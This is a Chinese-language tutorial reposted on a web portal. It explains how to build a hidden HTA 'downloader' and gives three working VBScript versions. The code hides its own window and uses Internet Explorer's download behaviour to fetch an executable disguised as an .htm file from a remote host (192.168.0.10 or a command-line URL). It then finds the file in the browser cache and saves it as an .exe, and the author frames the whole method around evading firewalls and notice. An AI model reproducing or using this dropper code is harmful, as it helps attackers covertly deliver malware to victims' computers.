做一個困難重重的hta下載者
來源:易賢網(wǎng) 閱讀:960 次 日期:2014-08-12 16:58:01
溫馨提示:易賢網(wǎng)小編為您整理了“做一個困難重重的hta下載者”,方便廣大網(wǎng)友查閱!

一、先說本blog上有兩個比較新穎的vbs下載者,一個是利用CDO.Message組件做的,另一個是用Microsoft.XMLDOM做的,這兩個下載者一個是利用起來比較麻煩,需要事先把exe進行轉(zhuǎn)化。第二使用中cscript.exe會訪問網(wǎng)絡(luò),不太隱蔽。第二個是有的機器上并不存在這兩個組件及利用到ADODB.Stream的,所以有些弊端。

二、再來說一下lake2的下載者http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。這個下載者算是不錯了,但是也有問題。一個是如果裝了360等其它的瀏覽器的話,會打開一個ie窗口,并且從注冊表中讀到的ie緩存位置不一定準(zhǔn)確。

三、那我們?nèi)绾蝸砀逻@些缺陷?還是有辦法的。我們用hta來寫,這個就比較少見了.hh.exe訪問網(wǎng)絡(luò)一般估計會放行的。寫這個下載者要解決的困難有幾下幾點:

(1).使hta不可見-------------》簡單,移動窗口

(2).使hta接收命令行參數(shù)--------------》本blog上有資料

(3).不調(diào)用上邊一、二大項所說的所有組件-----------》這個我們利用ie的默認行為

(4).ie緩存的臨時位置---------》我用的環(huán)境變量

(5)我們不調(diào)用任何組件-------------------》需要手動

四、代碼(直接把參數(shù)寫在hta里)

代碼如下:

<script language=vbs>

window.moveTo 4000,4000

window.resizeTo 0,0 '使hta不可見

set objshell= Createobject("WScript.Shell")'hta是可以直接調(diào)用WScript.Shell的,不過不能調(diào)用wscript.Createobject("WScript.Shell")

downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" '根據(jù)環(huán)境變量得到下載的路徑

set xml=document.createElement("xml")'建方xml元素調(diào)用ie的默認行為

xml.addBehavior("#default#DownLoad")

xml.async=0

xml.load("http://192.168.0.10/xx.htm")'請把exe改名放到空間上,用ftp軟件上傳的話,可能不行,直接放比較好

ShowAllFile(downpath)

Sub ShowAllFile(Path) '遍歷查找,直接用lake2的代碼

FindFileName="xx[1].htm" '這個也是你需要改的,如果上邊是xx.htm,這里就是xx[1].htm

Set FSO = CreateObject("Scripting.FileSystemObject")

Set f = FSO.GetFolder(Path)

Set fc = f.SubFolders

For Each f1 in fc

If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then

FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, "c:\111.exe" '保存到c:\111.exe,可根據(jù)需要改動

'document.write "[+]Download Success !"

End If

ShowAllFile path&"\"&f1.name

Next

Set FSO = Nothing

End Sub

window.close

</script>

用法是:把exe好比xx.exe改名放到空間上,然后命令行下或雙擊這個hta就可以了。

五、另一份代碼(傳命令行參數(shù))

我個人覺得第四部份的代碼比較好,修改一下用就可以了。如果調(diào)用命令行參數(shù)的話,我發(fā)現(xiàn)還是會出現(xiàn)hta小窗口,下載完后才關(guān)閉,所以這不太好。代碼: 

代碼如下:

<HTA:APPLICATION

ID="MySampleHTA"

Caption="yes">

<script language=vbs>

on error resume Next

window.moveTo 4000,4000

window.resizeTo 0,0 '使hta不可見

cmdLineArray = Split(MySampleHTA.commandLine)'這是把命令中的參數(shù)變成數(shù)組

set objshell= Createobject("WScript.Shell")

downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" '根據(jù)環(huán)境變量得到下載的路徑

temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") '從命令行得到當(dāng)前文件名

temp=split(temp,".")'根據(jù).分割

FindFileName=temp(0)&"[1]."&temp(1)

LocalName=objshell.CurrentDirectory&"\"&temp(0)&".exe"

set xml=document.createElement("xml")

xml.addBehavior("#default#DownLoad")

xml.async=0

xml.load(cmdLineArray(UBound(cmdLineArray)))

ShowAllFile(downpath)

Sub ShowAllFile(Path)

Set FSO = CreateObject("Scripting.FileSystemObject")

Set f = FSO.GetFolder(Path)

Set fc = f.SubFolders

For Each f1 in fc

If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then

FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName

'document.write "[+]Download Success !"

End If

ShowAllFile path&"\"&f1.name

Next

Set FSO = Nothing

End Sub

Function LastOne(Str,splitStr)

'輸入字符和分隔符,得到最后一部分

LastOne = right(Str,len(Str)-InStrRev(Str,splitStr))

End Function

window.close

</script>

用法是:把exe好比xx.exe改名xx.htm放到空間上,然后命令行下好比"c:\xx.hta http://www.target.com/xx.htm",這樣xx.exe就會保存到c:

六、不調(diào)用任何組件(需手動查找下載的xx[1].htm): 

window.moveTo 4000,4000

window.resizeTo 0,0 '使hta不可見

set xml=document.createElement("xml")'建方xml元素調(diào)用ie的默認行為

xml.addBehavior("#default#DownLoad")

xml.async=0

xml.load("http://192.168.0.10/xx.htm")'

window.close

七、缺點

我這個hta下載者并不是完美的。第一是因為下載到的臨時變量我用到了ExpandEnvironmentStrings("%USERPROFILE%"),這樣在用戶環(huán)境下可用,如果是system權(quán)限下可能不正常(我猜測的,并沒有測試)。第二是因為下載成功后并沒有提示,直接用hta在命令行下顯示出回顯有些麻煩,所以我沒有做,嘿嘿。  

更多信息請查看IT技術(shù)專欄

更多信息請查看腳本欄目
易賢網(wǎng)手機網(wǎng)站地址:做一個困難重重的hta下載者
由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇?zhǔn)!

2025國考·省考課程試聽報名

  • 報班類型
  • 姓名
  • 手機號
  • 驗證碼
關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 新媒體/短視頻平臺 | 手機站點 | 投訴建議
工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網(wǎng)安備53010202001879號 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號
云南網(wǎng)警備案專用圖標(biāo)
聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號:hfpxwx
咨詢QQ:1093837350(9:00—18:00)版權(quán)所有:易賢網(wǎng)
云南網(wǎng)警報警專用圖標(biāo)